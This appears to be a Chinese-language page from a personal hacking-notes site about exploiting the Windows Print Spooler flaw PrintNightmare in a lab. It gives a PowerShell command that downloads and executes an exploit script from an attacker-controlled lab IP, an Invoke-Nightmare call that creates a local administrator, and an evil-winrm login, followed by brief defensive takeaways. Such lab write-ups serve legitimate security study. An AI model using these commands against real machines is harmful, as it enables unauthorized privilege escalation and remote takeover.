> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# 打印后台处理程序 - PrintNightmare

`spoolsv.exe` 是 Windows 打印后台处理程序服务。当目标存在漏洞时，类似 PrintNightmare 的利用方式可能允许本地或远程提权，具体取决于 Windows 版本、补丁级别和服务暴露情况。

## 检测

将处于活动状态或暴露的 Print Spooler 服务与确切的 Windows 版本和已安装补丁进行关联分析。

<figure><img src="/files/1bf9f7e81eab8fedc37400b9eed0de2b54e583e1" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## 实验室利用

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/471de1ad11ad67dde68fc6802f99fb936a6c8ebe" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

加载脚本：

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

在实验室中创建一个本地管理员用户：

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="/files/1330811a89441089c0a65f781a015d2cca332231" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="/files/f359c6cdbfa578c1dc2ffafba2745be4dce77361" alt="New administrative user validation"><figcaption></figcaption></figure>

## 连接

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="/files/655ff0aea38b192f828da92f635cc15c2aecd515" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## 关键要点

* 通过版本和补丁验证来确认漏洞。
* 在不需要的地方禁用 Print Spooler，尤其是在敏感服务器上。
* 监控本地管理员账户的突然创建以及可疑的打印机驱动操作。


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